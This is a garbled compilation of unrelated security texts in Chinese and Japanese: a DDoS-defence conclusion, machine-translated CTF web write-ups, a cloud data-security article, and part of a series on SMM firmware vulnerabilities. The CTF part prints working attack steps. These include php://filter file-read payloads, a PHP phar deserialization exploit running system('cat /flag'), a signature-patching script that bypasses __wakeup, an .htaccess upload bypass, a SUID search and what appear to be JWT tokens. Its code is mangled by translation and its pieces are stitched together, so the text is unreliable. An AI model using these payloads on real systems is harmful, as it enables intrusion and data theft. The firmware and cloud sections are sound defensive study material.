預防工具和緩解服務甚至可以在有問題的流量到達受害者的網絡之前將其移除。您可以尋找基於DNS 的服務來重定向來自您的網絡的有問題的流量，或者尋找基於邊界網關協議的解決方案來處理持續攻擊。 結論黑客不斷使用和改進DDoS 攻擊，旨在破壞特定網站、應用程序和服務的工作。在處理Web 應用程序時，請特別注意強化您的解決方案以抵禦可能的DDoS 攻擊。 考慮到穩定性和彈性來構建您的網絡產品非常重要。您可以結合不同的DDoS 攻擊預防方法和DDoS 防禦技術，以增加有效緩解潛在攻擊的機會。或者，您可以部署多個雲以確保更好地提供服務。

1。 web 1。旗が消える アクセス拒否 FakeIPプラグインフェイクIP プロンプトファイルはnullです ファイルパラメーターを追加してみてください ？file=index.php`プロンプト `ハックしないでください! おそらくフィルターチェーン 参照記事： https://www.cnblogs.com/linuxsec/articles/12684259.html https://blog.csdn.net/yuanxu8877/article/details/127607264 Php: //filter/convert.iconvが成功することができます /？file=php: //filter/convert.iconv.utf-16/resource=index.php /？file=php://filter/convert.iconv.utf-8.utf-16/resource=/flag :010一般的なバックアップファイルまたはロボットがあるかどうかを最初に確認しましょう。 バックアップファイルwww.tar.gzを見つけることができます 次に、URL/www.tar.gzにアクセスして、バックアップファイルをダウンロードします 主にupload.phpとdownload.phpを見て、ソースコードがすべてここにあることがわかりました 次のように、CSDNで同様の質問を見ることができます。 https://blog.csdn.net/m0_70819573/article/details/129506508 https://blog.csdn.net/2301_79708753/article/details/135873948 https://www.bilibili.com/read/cv21572905/ 次に、質問へのリンクを開き、アップロードフォームから始めて、もうできません。それは脱介入の意味ではありませんか？ 次に、ファイルのアップロードと降下の組み合わせである可能性があります。 次に、それがファーの降下化であることを検索して見つける - ファイルに含まれるゼリア化（ファイルアップロード） それ以外{ $ extensions=array（ 'gif'、 'jpg'、 'png'）; $ temp=exploit（ '。'、$ _files ['file'] ['name']）; $ fileextension=end（$ temp）; $ filesizecheck=$ _files ['file'] ['size']; $ iSextensionAllowed=in_array（$ fileextension、$ extensions）？ True : False; if（$ filesizecheck $ isextensionAllowed）{ $ filecontent=file_get_contents（$ _ files ['file'] ['tmp_name']）; $ haltcompilercheck=strpos（$ filecontent、 '__halt_compiler（）;'）; if（getType（$ haltCompilerCheck）==='Integer'）{ echo 'phar'; uoload.phpのこのコードから、GIF、JPG、およびPNGの写真のみをアップロードできることを知ることができ、コンテンツチェックが実行されることがわかります。ファイルにはコンテンツ「__HALT_COMPILER（）;」を含めることはできません。 そのため、生成されたPhARファイルを圧縮パッケージに圧縮して、チェックをバイパスする必要があります。 クラスファイル{ public $ val1; public $ val2; public $ val3; パブリック関数__construct（）{ $ this-val1='val1'; $ this-val2='val2'; } パブリック関数__destruct（）{ if（$ this-val1==='file' $ this-val2==='exists'）{ if（preg_match（ '/^\ s*system \ s*\（\ s*\' cat \ s+\/[^;]*\ '\ s*\）; \ s*$/'、$ this-val3）{ eval（$ this-val3）; } それ以外{ エコー「アクセス拒否」; } } } パブリック関数__access（）{ $ var='アクセス拒否'; echo $ var; } public function __wakeup（）{ $ this-val1='exists'; $ this-val2='file'; echo 'ファイルが存在します'; } } 次に、download.phpのコードから、それが定期的に脱出されていることを知ることができます。 __Destruct（）Magicメソッドには、コマンドを実行するために使用できるeval（）関数があり、コマンド実行の脆弱性があります。 __destruct（）メソッドのIFステートメントは、変数v a l 1がf i l eに等しいか、変数Val1がファイルに等しいか、変数Val1がファイルに等しいか、変数Val2が存在するかどうかを決定します。 次に、次のコードに if（preg_match（ '/^\ s*system \ s*\（\ s*\' cat \ s+\/[^;]*\ '\ s*\）; \ s*$/'、$ this-val3）{ eval（$ this-val3）; このコードは、文字列が特定のパターンと一致するかどうかをチェックするPHPの条件付きステートメントです。一致が成功した場合、評価関数が実行され、文字列内のコードが実行されます。 この正規表現を見てみましょう /^\ s*system \ s*\（\ s*\ 'cat \ s+\/[^;]*\' \ s*\）; \ s*$/： /^と$は文字列の開始と終了を表し、文字列全体がパターンと一致するようにします。 \ s*ゼロ以上のホワイトスペース文字を一致させます。 システムは、文字列内のシステムと一致します。 （および）左と右のブラケットに一致します。 \ s*ゼロ以上のホワイトスペース文字を一致させます。 'cat \ s+/[^;]'は、catから始まるファイルパスに一致するファイルパスに一致します。で： ’単一の引用を一致させます。 猫は猫の弦に一致します。 \ s+ 1つ以上の空白文字を一致させます。 /slash /を一致させます。 [^;]ゼロ以上の非セミコロン文字を一致させます。 ’単一の引用を一致させます。 \ s*ゼロ以上のホワイトスペース文字を一致させます。 ;セミコロンを一致させます。 言い換えれば、この正規表現は、文字列がシステムで始まるかどうかを確認するために使用されます（ 'cat、その後のファイルパスが続き、その後'で終了します）。 したがって、$ val3の値を構築できます System（ 'cat /flag'）; 旗を取得するために T h i s-v a l 3のコンテンツがこのパターンと一致する場合、e v a lが実行されます（このVal3のコンテンツはこのパターンと一致し、評価します（このパターンと一致します、評価（this-val3）。 正規表現を視覚化https://wangwl.net/static/projects/visualregex/# 次に、これに注意を払う必要があります。WakeUp（）Magic Methodをバイパスする必要があります。 public function __wakeup（）{ $ this-val1='exists'; $ this-val2='file'; echo 'ファイルが存在します'; } v a l 1をe x i s t s、val1が存在し、val1が存在し、val2をファイルします。 、したがって、覚醒（）をバイパスする必要があります つまり、CVE-2016-7124を使用する必要があり、その影響の範囲は PHP5 5.6.25 PHP7 7.0.10 そのトリガー方法も非常に単純です。つまり、シリアル化された文字列のオブジェクト属性の数を表す値が実際の属性番号よりも大きい場合、__wakeupの実行はスキップされます 次に、ファーファイルを構築し、アップロードして脱3を実行し、それによってコードを実行する必要があります アップロードすると、ZIPはPhAR検出をバイパスしますが、PhAR擬似プロトコルはZIPを減圧します。減圧するとき、私たちのPHAR擬似プロトコルは、file_get_contents（）での脱気からのトリガーをトリガーし、eval（）コマンドを実行します。 PHARファイル生成コード： ？php ini_set（ 'phar.readonly'、 'off'）; クラスファイル { public $ val1; public $ val2; public $ val3; パブリック関数__construct（） { $ this-val1='file'; $ this-val2='exists'; $ this-val3='System（' cat /flag '）;'; } } $ a=new file（）; $ phar=new Phar（ 'aa3.phar'）; $ phar-startbuffering（）; $ phar-setstub（ '？php __halt_compiler（）;'）; $ phar-setmetadata（$ a）; $ phar-addfromstring（ 'test.txt'、 'test'）; $ phar-stopbuffering（）; php phar.php コードを実行して、ファーファイルを生成します 010を通じて、Pharファイルの内容がシリアル化されていることがわかります しかし、アップロードとアクセスのときにエラーが報告されます 警告: file_get_contents（phar: //./upload/fuck.jpg）:はstream: phar '/var/www/html/upload/fuck.jpg' sha1 signatureを確認できませんでした。 ここには問題があります。 010でPhARファイルを変更してWakeUp（）Magicメソッドをバイパスできますが、ここには署名認証があり、署名を修正する必要があります スクリプトで修正されたPHARは、データ、データ署名（20ビット）、および署名形式（8ビット）で構成されています。 gzipをインポートします HashlibインポートSha1から with open（r'd: \\ downlaods_1 \\ anfang_ctf \\ webbbbbbbb \\ aa3.phar '、' rb '）file:として f=file.read（） s=f [:-28]＃データに署名してください S=S.Replace（B'3: {'、b'4: {'）＃属性値を交換し、バイパス__wakeup H=F [-8:]＃署名タイプとGBMBのIDを取得する newf=s + sha1（s）.digest（） + h＃data + signature +（type + gbmb） #print（newf） newf=gzip.compress（newf）#gzip pharファイルの圧縮 with open（r'D: \\ downlaods_1 \\ anfang_ctf \\ webbbbbbbb \\ fuck3.png '、' wb '）as file:＃ファイルサフィックスを変更します file.write（newf） 次に、PNG画像をアップロードします phrowd.phpでポストパラメーター転送を実行し、phar: //protocol pseudoを使用してpharファイルを読み取り、脱出をトリガーします。 file=phar: //./upload/fuck3.png 最後にフラグを取得します フラグは次のとおりです。 669B01045DA0456EA2A2861CE57DD537 2.Unserialize_web 関数をクリックしただけで何も見つかりませんでした。 F12のソースコードにwww.zipがあることがわかりました。 ソースコードをダウンロードして、tcpdf v6.3.2を参照してください タイトル登録関数を見て、エラーを直接登録して表示し、ソースコード登録html/api.phpのロジックを見てください QINTERNALへのフォローアップ はhttp://LocalHost:8082/``招待状にアクセスします 次に、pdf/internal.pyに移動します app.run（host='127.0.0.1'、ポート=8082）、ローカル8082ポートにはPythonサービスが有効になっています その後、ローカルのデバッグがここに来て、if（'myjson ['vite'] in open（ 'Invites.txt'）。read（）。 その後、Google検索「CTF」TCPDF招待状を検索します 検索 https://cloud.tencent.com/developer/article/2069757 https://r0.haxors.org/posts?id=15 https://b6a.black/posts/2021-05-22-3kctf/#ppaste-web-498ポイント 参照：https://r0.haxors.org/posts?id=15 INVITE:-3.3E9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 次に、イントラネットのSSRFを呼び出します WPのように、私は何度か電話してきましたが、それを打つことができませんでした。外部ネットワークからのリクエストはないので、ネットワークがあるとは推測できません ソースコードに移動し、元のタイトルWPに従ってSSLF場所のロジックを見つけます 元の質問の比較 Gopherがリリースされていることがわかります だから私はGopherだけで、長い間テストした後もテストしていません。 最後に、Cookieの問題により、ユーザーがログインするか、以前のユーザーのCookieがログインした可能性があると思います asmintest1を直接登録し、SSRFをチームメイトに再生します（Asmintest55）、Access Action:Adminは管理者へのアップグレードに正常にアップグレードします 3.mypdf 0問題を解決しました。 2人のユーザーがパスワードログインが弱いため、2つのトークンを取得します admin; 123456Test; 123456TOKEN_TEST='eyj0exaioijkv1qilcjhbgcioijsuzi1nij9.eyj1c2vyijoidgvzdcisimlwijoimtcyljiwlji0mc4zmij999.a9crtyzlavhqif9vrihn1ksjle FZCKPARV3EO96EBSLD5GZRU78QGIFKDTW_YXQGYC7Z82PQH1BQGWMF5CLBFYSQNB6V9HV7FYZJUPZZT2B-IRXITYFHW2QQJR0I_YRJATOKEN_ADMIN='eyj0exaioijkv1qilcjhbgcioijsuzi1nij9.eyj1c2vyijoiywrtaw4ilcjpcci6ije3mi4ymc4yndaumziifq。 DDTMCHPMQTBA_2_WJXLPO_6G5DTAM7STY2KNNGOL6QAEAWH4Y8EJY6NDBLUEMHXYYECPILFXZXZXEPQKV_GW3RGREG7L

第1章緊急時対応 - webshellチェック はじめに ターゲットマシンアカウントパスワードルートXJWebShell 1。ハッカーのウェブシェルのフラグフラグ{

web sqlup 質問を開き、推測名でSQLを挿入するためのログインページを提供しました ソースコードを確認し、開発者にパターンマッチングを使用するように促すヒントがあることを見つけます だから私は％をファジーマッチに使用しようとしました、ログインは成功しました username=adminpassword=％パネルを入力した後、ファイルアップロード機能があることがわかりました PHPファイルをアップロードしてみてくださいが、結果はWAFであり、ファイル名はpが表示されない .htaccessファイルを使用してgifファイルを解析することを考えました。 .htaccessファイルを最初にアップロードし、1.gifをphpとして解析します filesmatch '1.gif' Sethandler Application/X-HTTPD-PHP /filesmatch 次に、1.GIFファイルをアップロードします 次に、/1.gifにアクセスしてください。ただし、フラグを読む許可をエスカレートする必要があります パワーをエスカレートする注文を探しています find/-perm -u=s -Type f 2/dev/null discovery TACコマンドを使用できます Candyshop ソースコードは次のとおりです Import DateTime フラスコのインポートフラスコ、render_template、render_template_string、request、redirect、url_for、session、make_responseから WTFORMSからImport Stringfield、PasswordField、Submitfieldから wtforms.validatorsからImport datarequired、lengthから flask_wtfからインポートフラスコフォームから Reをインポートします app=flask（__name__） app.config ['Secret_key']='

雲技術發展迅速，為幾乎所有已知的服務和產品提供了基於雲的替代方案。根據Markets and Markets的一份報告，雲計算市場預計將從2021 年的4453 億美元增長到2026 年的驚人的9473 億美元。但是，基於雲的服務的增長和多樣性讓軟件供應商和可能想要訪問您的數據的惡意行為者都興奮不已。 為了確保敏感數據的安全存儲，開發人員需要加強對本地和雲環境的保護。他們還必須證明符合GDPR、NIST 標準、PCI DSS、ISO/IEC 27001 以及其他法規、標準和法律。那麼如何確保云中的數據安全呢？是否有可能追踪並消除基於雲的軟件中的所有漏洞？ 在本文中，我們將重點介紹五種關鍵的雲數據安全威脅以及保護雲中數據的法律要求，以幫助您應對這些威脅。本文對希望構建安全的基於雲的應用程序的開發團隊和領導者很有用。 誰負責保護雲中的數據？供應商和用戶共同負責雲中的數據安全。每個人都知道這一點，但每個人的理解不同。 例如，根據Snyk 的一項調查，只有10% 的安全專業人員認為開發人員負責其云原生應用程序中的數據安全。同時，超過36% 的開發者認為保護雲數據是他們的責任。 許多組織認為，一旦將數據上傳到雲服務，他們就無需擔心數據安全性和IT 要求的合規性。事實上，許多雲供應商實施了嚴格的網絡安全程序來幫助他們的客戶保護敏感數據。由他們的客戶決定是否執行這些程序、正確配置訪問權限以及證明IT 合規性。 誰負責雲數據安全？ 雲供應商和應用程序開發人員的責任範圍通常在服務級別協議(SLA) 中確定。雲服務的典型SLA 定義： 马云惹不起马云 雲供應商同意提供的工作量和質量 马云惹不起马云所需的服務性能參數 马云惹不起马云供應商使用的安全功能和機制 马云惹不起马云安全事件和服務中斷的補救計劃 马云惹不起马云違反協議的處罰 雖然雲服務提供商(CSP) 和開發人員都有強大的機會來增強基於雲的解決方案中的數據保護，但每一方都必須應對雲中的眾多網絡安全挑戰。在下一節中，我們將了解您在開發基於雲的安全應用程序過程中可能面臨的主要挑戰以及避免或解決這些挑戰的方法。 基於雲的應用程序中的安全挑戰以及解決這些問題的方法雲環境的使用為雲應用程序開發團隊帶來了獨特的安全挑戰。 Cybersecurity Insiders的2021 年雲安全報告概述了五個最大的雲安全威脅： 5 大雲安全威脅 讓我們仔細研究一下這些問題以及緩解這些問題的方法，以創建安全的基於雲的軟件。 1、雲平台配置錯誤、設置錯誤Microsoft Azure 和Amazon Web Services (AWS) 等領先的雲平台為開發人員提供了大量預配置的安全功能。由開發人員定義他們的產品所需的安全級別。有時，不幸的是，這會導致對雲環境造成威脅安全的錯誤配置。 網絡安全錯誤配置被認為是最大的安全威脅之一，因為使用常規監控工具幾乎不可能檢測到它們。除了人為錯誤之外，錯誤配置的發生主要是由於雲環境的複雜性和不斷變化。 常見的錯誤配置示例如下： 马云惹不起马云 雲環境元素的無限制出站訪問 马云惹不起马云 開放對非HTTP/HTTPS 端口的訪問 马云惹不起马云 安全規則配置錯誤 大多數雲安全配置錯誤是在手動安全審查期間或安全事件的結果中發現的。幸運的是，有一些方法可以防止發生雲安全配置錯誤。特別是，您可以： 马云惹不起马云盡可能多地自動化配置管理活動 马云惹不起马云配置安全規則時使用結對編程 马云惹不起马云定期審核雲安全設置 马云惹不起马云監控異常訪問請求的網絡活動 減少雲中安全錯誤配置的4 種方法 2. 敏感數據洩露任何云服務提供商和用戶的主要關注點之一是保護他們的數據免受未經授權的訪問和盜竊。將敏感數據存儲在雲中為惡意行為者創造了更多的入口點，而保護它們則取決於兩者。 在本文中，我們將遵循Google對數據洩露的定義： 數據洩露的定義是當授權人員從其所屬的安全系統中提取數據，並將其與未經授權的第三方共享或將其轉移到不安全的系統中。授權人員包括員工、系統管理員和受信任的用戶。數據洩露可能是由於惡意或受損行為者的行為或意外發生的。 谷歌云文檔 數據洩露背後的關鍵原因是不受限制的數據共享功能、虛擬機的手動重新配置和惡意的內部活動。 以下是保護基於雲的應用程序免受數據洩露的方法： 马云惹不起马云 為最終用戶創建教育材料和網絡安全提示。這將有助於防止意外的數據洩露。 马云惹不起马云執行嚴格的數據保護政策和審計合規性。這些策略應包括共享數據訪問權限的最小特權原則以及不同類別敏感數據的不同級別共享能力。 马云惹不起马云加密傳輸中和靜止的數據。例如，通常的做法是使用SSL/TLS 加密來保護網絡流量。 3. 未經授權的訪問竊取合法用戶的帳戶或身份是進入雲環境的最便捷方式之一。確保云應用數據的高水平身份管理和精細訪問管理至關重要。 保護雲數據存儲免受非法訪問通常涉及使用以下類型的工具： 5 種限制未經授權訪問云中數據的工具 如果您的應用程序具有多租戶模式，您還需要確保數據隔離，以防止您的租戶訪問彼此的數據。 使用Microsoft Azure或AWS等大型供應商的雲服務的主要優勢在於，它們提供強大的訪問管理服務，可以幫助您確保所需的安全級別。 4. 不安全的APIAPI 允許部分雲軟件和第三方產品相互無縫交互。如果保護不力，API 可能成為黑客攻擊和數據洩露的網關。例如，攻擊者可以暴力破解API 用來與其他軟件元素通信並破壞他們的工作或竊取敏感數據的弱密碼。 以下提示將幫助您保護雲解決方案中使用的API ： 保護API 的6 種方法 5. 外部數據共享雲服務使與世界各地的供應商、員工和客戶共享數據變得非常容易。一些企業甚至開發多雲環境，使用不同廠商的雲服務，更方便地共享各類數據和資源。 未經管理和管理不善的數據共享可能會導致數據洩露和對組織敏感數據的失控。這就是為什麼您需要實施保護機制來幫助您的客戶以安全的方式共享他們的數據。 您可以通過遵循以下規則來確保安全的數據共享： 保護外部數據共享的4 種方法 通過我們上面討論的網絡安全工具和實踐，您將能夠保護基於雲的應用程序使用的敏感數據。但是，它們可能不足以符合適用的網絡安全要求。讓我們看看如何使用安全標準創建基於雲的應用程序。 確保云中的合規性在構建具有安全合規性的基於雲的軟件時，您需要關注許多IT 安全要求、行業標準、當地法律和法規。下面，我們列出了需要特別注意的幾個步驟。 確保云解決方案的網絡安全合規性的3 個步驟 1. 定義您的合規要求列表。您需要遵守的要求列表取決於您提供的服務、您的目標行業以及您的企業和客戶的地理位置。 ISO/IEC 27001是最廣泛認可的信息安全國際標準之一。雲計算安全還有四個特定標準：ISO/IEC 27002、ISO/IEC 27017、ISO/IEC 27018和ISO/IEC 27036-4。 IT 安全法規的其他常見示例是美國國家標準與技術研究院的特別出版物。《通用数据保护条例》 規定了保護歐盟居民數據的規則。根據您所在的地區和行業，您可能還需要遵守HIPAA（適用於美國醫療保健組織及其合作者）和PCI DSS（用於存儲、處理或傳輸信用卡數據的組織）。 2.選擇合規的雲服務。如果您不是從頭開始構建整個系統，則需要選擇正確的CSP。在選擇供應商時，重要的是要考慮現在哪些合規性要求對您至關重要，以及您將來可能需要遵循哪些合規性要求。否則，由於合規性問題，您在切換到其他供應商時可能會浪費額外的時間和金錢。 3. 進行內部IT 合規性審計。基於雲的基礎架構非常靈活，使開發人員能夠比本地解決方案更快地調整雲應用程序。定期的內部合規審計可以幫助您驗證所需的安全機制是否有效，並且即使在更新後您的應用程序仍然受到保護。但請記住，IT 合規性和數據安全性並不總是相同的。最好分別運行合規性和安全審計。 結論在構建基於雲的產品時，您需要考慮可能危及產品數據安全性和IT 合規性的雲特徵。即使您與提供額外安全服務並遵守您必須遵守的法律、法規和標準的大型雲提供商合作，您仍然需要密切關注許多因素。 通過緩解雲中最常見的安全威脅，您可以提高雲解決方案的安全性並增強客戶的信心。

在這篇文章中，我們繼續為讀者分享與SMM漏洞相關的知識、工具和方法。 （接上文） TOCTOU攻擊類型說明有時，即使在嵌套指針上調用SmmIsBufferOutsideSmmValid()也不足以保證SMI處理程序的安全。其原因是，SMM在設計時沒有考慮到並發性，因此，它受到一些固有的競態條件漏洞的影響，最突出的是針對通信緩衝區的TOCTOU攻擊。因為通信緩衝區本身駐留在SMRAM之外，因此，它的內容可以在SMI處理程序執行時發生改變。這一事實具有嚴重的安全影響，因為它意味著從它那裡兩次獲取的值不一定相同。 為了解決這個問題，多進程環境中的SMM採用了所謂的“SMI會合（SMI rendezvous）”技術。簡而言之，一旦某個CPU進入SMM，一個專門的軟件序言將向系統中所有其他處理器發送一個處理器間中斷（IPI）。這個IPI將使它們也進入SMM，並在那裡等待SMI的完成。只有這樣，第一個處理器才能安全地調用處理函數來實際服務SMI。 該方案在防止其他處理器在使用通信緩衝區時干擾通信緩衝區方面非常有效，但當然，CPU並不是唯一有權訪問內存總線的實體。正如任何操作系統入門課程所教導的那樣，現在許多硬件設備都能夠作為DMA代理運行，這意味著它們可以直接讀/寫內存而根本不需要通過CPU。從性能上講，這些都是好消息，但就固件的安全性而言，卻是一個可怕的壞消息。 DMA感知硬件可以在SMI執行時修改通信緩衝區的內容 為了了解DMA操作如何幫助成為漏洞利用的幫兇的，讓我們來看看以下摘自實際SMI處理程序中的代碼片段： 易受TOCTOU攻擊的SMI處理程序 可以看到，這個處理程序至少在3個不同的位置引用了一個我們命名為field_18的嵌套指針： 首先，從通信緩衝區中檢索其值，並將其保存到SMRAM中的局部變量中。 然後，對局部變量調用SmmIsBufferOutsideSmmValid函數，以確保該變量不與SMRAM重疊。 如果被認為是安全的，則從通信緩衝區中重新讀取嵌套指針，然後將其作為目標參數傳遞給CopyMem函數。 正如前面提到的，沒有什麼能保證從通信緩衝區中連續讀取的內容一定會產生相同的值。這意味著，攻擊者可以通過讓指針引用SMRAM外部的、完全安全的位置來處理該SMI： 處理SMI時通信緩衝區的初始佈局 但是，就在SMI驗證嵌套指針之後、再次獲取它之前，存在一個小的機會窗口，DMA攻擊可以修改其值，使其指向其他地方。由於攻擊者知道，這個指針很快就會傳遞給CopyMem()函數，因此，可以設法讓指針指向要破壞的SMRAM中的地址。 惡意DMA設備可以修改CommBuffer中的指針，使其指向其他地方，當然，也可以指向SMRAM內存 緩解措施如果固件配置正確的話，SMRAM應該可以防止被DMA設備所篡改。為了確保您的機器上的配置是正確的，請通過CHIPSEC運行smm_dma模塊。 檢查系統是否為SMRAM提供了針對DMA攻擊的保護 因此，可以通過將數據從通信緩衝區復製到位於SMRAM中的局部變量來緩解TOCTOU漏洞。 將數據從通信緩衝區復製到SMRAM中的局部變量中 一旦以這種方式將所需的全部數據都複製到SMRAM中，DMA攻擊就無法影響SMI處理程序的執行流了： 如果配置正確，SMRAM就能免受DMA設備的篡改 檢測方法為了檢測SMI處理程序中的TOCTOU漏洞，首先需要重建通信緩衝區的內部佈局，然後計算每個字段被提取的次數。如果同一個字段被同一個執行流程取用了兩次或更多，那麼相應的處理程序就有可能容易受到這種攻擊的影響。這些問題的嚴重性在很大程度上取決於各個字段的類型，其中指針字段是最嚴重的。同樣，正確地重建通信緩衝區的結構對評估潛在的風險也是有很大幫助的。 僅能感知CSEG的處理程序類型說明正如本系列文章之前提到的，SMRAM內存的事實標準位置是“頂部內存段”，通常縮寫為TSEG。然而，在許多機器上，由於兼容性的原因，通常會有一個單獨的SMRAM區域被稱為CSEG（兼容段），並且是與TSEG並存的。與TSEG不同，它在物理內存中的位置可以由BIOS以編程方式確定，而CSEG區域的位置則被固定在0xA0000-0xBFFFF的地址範圍。一些傳統的SMI處理程序在設計時只考慮了CSEG，這一事實可能會被攻擊者所濫用。下面就是這樣的處理程序的例子。 具有一些CSEG特定保護的SMI處理程序 與我們到目前為止審查的處理程序不同，這個SMI處理程序並不是通過通信緩衝區來獲得其參數的。相反，它使用EFI_SMM_CPU_PROTOCOL從SMM的狀態保存區讀取相應的寄存器，該狀態是由CPU在進入SMM時自動創建的。因此，在這個例子中，潛在的攻擊面並非通信緩衝區，而是CPU的通用寄存器，在處理SMI之前，其值幾乎可以隨意設置。 處理程序的操作過程如下所示： 首先，它從狀態保存區讀取ES和EBX寄存器的值。 然後，利用上面的值計算線性地址，相應的公式為：16 * ES + (EBX0xFFFF)。 最後，它檢查計算出來的地址是否位於CSEG的範圍內。如果該地址被認為是安全的，則將其作為參數傳遞給0x3020處的函數。 請注意，該處理程序基本上重新實現了常見的實用函數，如SmmIsBufferOutsideSmmValid()，只是它的實現方式很差，完全忽略了CSEG之外的SMRAM段。理論上講，攻擊者可以設置ES和BX寄存器，使計算出的線性地址指向一些其他的SMRAM區域，如TSEG，從而繞過處理程序所施加的安全檢查。 然而，在實踐中，這種漏洞很可能無法被實際利用。這是因為，我們能達到的最大線性地址為16*0xFFFF+0xFFFF==0x10FFF，而經驗表明，TSEG通常位於更高的地址。儘管如此，了解這樣的處理程序及其帶來的危害還是有好處的。 緩解措施緩解這些漏洞的措施，完全取決於SMI處理程序的開發人員。 檢測方法確定這些漏洞的一個不錯的策略是尋找SMI處理程序，這些處理程序通常會利用“魔術數字”來表示CSEG的一些獨特特徵，其中包括直接值，如0xA0000（CSEG的物理基址）、0x1FFFF（其大小）和0xBFFFF（最後一個可尋址字節）。根據我們的經驗，使用兩個或更多這些值的函數可能具有某些特定於CSEG的行為，必須仔細檢查以評估其潛在風險。 基於SetVariable()函數的信息洩露類型說明到目前為止，所有描述的漏洞類別都集中在劫持SMM執行流程和破壞SMM內存方面。然而，另一個非常重要的漏洞類別是圍繞著洩露SMRAM的內容展開的。眾所周知，SMRAM不能從SMM的外部讀取，這就是為什麼它有時被固件用來存儲必須對外界保密的秘密。除此之外，洩露SMRAM的內容還可以幫助利用其他需要準確了解內存佈局的漏洞。 當SMM代碼試圖更新NVRAM變量的內容時，就會容易發生SMRAM洩露。在UEFI中，更新NVRAM變量的操作並不是一個原子操作，而是由以下步驟組成的複合操作： 分配一個堆棧緩衝區，用來存放與該變量相關的數據。 使用GetVariable()服務，將變量的內容讀入堆棧緩衝區。 對堆棧緩衝區進行所有必要的修改。 使用SetVariable()服務將修改後的堆棧緩衝區寫回NVRAM。 用於更新UEFI變量的UEFI代碼 當調用GetVariable()時，注意第4個參數是作為輸入輸出參數使用的。在進入該函數時，這個參數表示調用方要讀取的字節數，而在返回時，它被設置為實際從NVRAM讀取的字節數。如果變量的實際大小與預期的一致，兩個值應該是一樣的。 當開發者隱含地假設一個變量的大小是不可改變的，問題就出現了。由於這種假設，他們完全忽略了GetVariable()讀取的字節數，而只是在寫入更新的內容時將一個硬編碼的大小傳遞給SetVariable()函數。 上面的代碼隱含地假設CpuSetup的大小總是0x101A，所以，它並沒有檢查GetVariable()實際讀取的字節數。 由於一些NVRAM變量（至少是那些具有EFI_VARIABLE_RUNTIME_ACCESS屬性的變量）的內容可以從操作系統中進行修改，它們可以被濫用來觸發SMM中的信息洩露漏洞，同時也可以同時作為滲出渠道。讓我們看看在實踐中是如何做到這一點的。 首先，攻擊者會使用操作系統提供的API函數，如SetFirmwareEnvironmentVariable()來截斷該變量，從而使其比預期的短。然後，它將繼續觸發易受攻擊的SMI處理程序。 SMI處理程序將： 分配基於堆棧的緩衝區。像其他基於堆棧的內存分配一樣，這個緩衝區默認是未初始化的，這意味著它保存了以前發生在SMM中的函數調用的剩餘部分。 NVRAM變量和堆棧緩衝區的並列示意圖（第1階段） 調用GetVariable()服務，將變量的內容讀入堆棧緩衝區。通常情況下，變量的大小等於堆棧緩衝區的大小，但由於攻擊者剛剛截斷了NVRAM中的變量，緩衝區肯定會更長。這又意味著，即使在GetVariable()返回後，它還會繼續保存一些未初始化的字節。 NVRAM變量和堆棧緩衝區的並列示意圖（第2階段） 修改內存中的堆棧緩衝區。 NVRAM變量和堆棧緩衝區的並列示意圖(第3階段) 調用SetVariable()服務，將修改後的堆棧緩衝區寫回NVRAM中。因為這個調用是使用堆棧緩衝區的硬編碼、恆定大小來完成的，所以它也會將其未初始化的部分寫入NVRAM中。 NVRAM變量和堆棧緩衝區的並列示意圖（第4階段） 為了完成這個過程，攻擊者現在可以使用API函數，如GetFirmwareEnvironmentVariable()來完全洩露變量的內容，包括來自未初始化部分的字節。 緩解措施這個故事的寓意是，不能盲目相信NVRAM變量，在分析處理程序的攻擊面時應考慮到這一點。如果可以的話，最好使用相應的編譯器標誌，如InitAll，以確保堆棧緩衝區將被零初始化。更有技巧的是，當更新NVRAM變量的內容時，代碼必須始終考慮到變量的實際大小，而不是依賴靜態的、預先計算的值。 然而，緩解這些問題的另一個可能方向是限制對NVRAM變量的訪問。這可以通過完全刪除EFI_VARIABLE_RUNTIME_ACCESS屬性或使用EDKII_VARIABLE_LOCK_PROTOCOL等協議來實現，使變量成為只讀的。 檢測方法我們有理由認為，NVRAM變量的更新操作會在一個函數的執行過程中發生。這意味著我們通常可以忽略一個函數讀取變量而另一個函數寫入變量的場景。要找到這些函數，可以在用efiXplorer分析完輸入文件後，導航到“services”選項卡，搜索SetVariable()後面緊跟著GetVariable()的調用對。 搜索由GetVariable()和SetVariable()組成的調用對 對於每一對這樣的調用，請檢查是否滿足下列條件： 兩個調用都來自同一個函數； 兩個調用都對同一個NVRAM變量進行操作； 傳遞給SetVariable()的大小參數是一個立即值。 檢測SMRAM信息洩漏的簡單啟發式方法 識別庫函數這篇文章大量地引用了諸如FreePool()和SmmIsBufferOutsideSmmValid()等庫函數，並天真地假設我們可以不費吹灰之力地找到它們。問題是這些函數是靜態鏈接到二進製文件中的，通常SMM映像在發送給終端用戶之前會去除所有的調試符號。因此，在IDA數據庫中定位它們是相當具有挑戰性的。 在我們的工作過程中，我們研究了多種方法來解決這個問題，包括使用Diaphora進行自動比對，以及使用一些不太知名的插件進行實驗，如rizzo和fingermatch。最終，我們決定堅持KISS原則，考慮到目標函數的一些獨特特徵，我們決定使用簡單明了的啟發式方法進行匹配。下面是一些用於匹配前面提到的函數的經驗法則。注意，我們假設二進製文件已經被efiXplorer分析過了，這可以讓事情變得更輕鬆。 FreePool函數識別FreePool()是非常簡單的。只需要掃描IDA數據庫滿足下列條件的函數即可： 接收一個整型參數； 有條件地調用gBs-FreePool()或gSmst-FreePool()中的一個(但絕不會同時調用)； 將其輸入參數轉發給這兩個服務。 準確定位FreePool()的簡單啟發式方法 SmmIsBufferOutsideSmmValid函數對SmmIsBufferOutsideSmmValid()函數來說，識別起來就有點棘手了。為了成功地完成這個任務，我們需要掌握一些名為EFI_SMM_ACCESS2_PROTOCOL的UEFI協議的背景信息。這個協議被用來管理和查詢平台上SMRAM的可見性。因此，它提供了相應的方法來打開、關閉和鎖定SMRAM。 EFI_SMM_ACCESS2_PROTOCOL的接口定義 除了這些，這個協議還導出了一個叫做GetCapabilities()的方法，客戶端可以用它來弄清SMRAM在物理內存中的確切位置。 GetCapabilities()函數的說明文檔 返回時，該函數會填充一個EFI_SMRAM_DESCRIPTOR結構體數組，告訴調用方SMRAM的哪些區域是可用的，它們的大小和狀態是什麼，等等。 使用EFI_SMM_ACCESS2_PROTOCOL查詢SMRAM範圍的示例程序的輸出 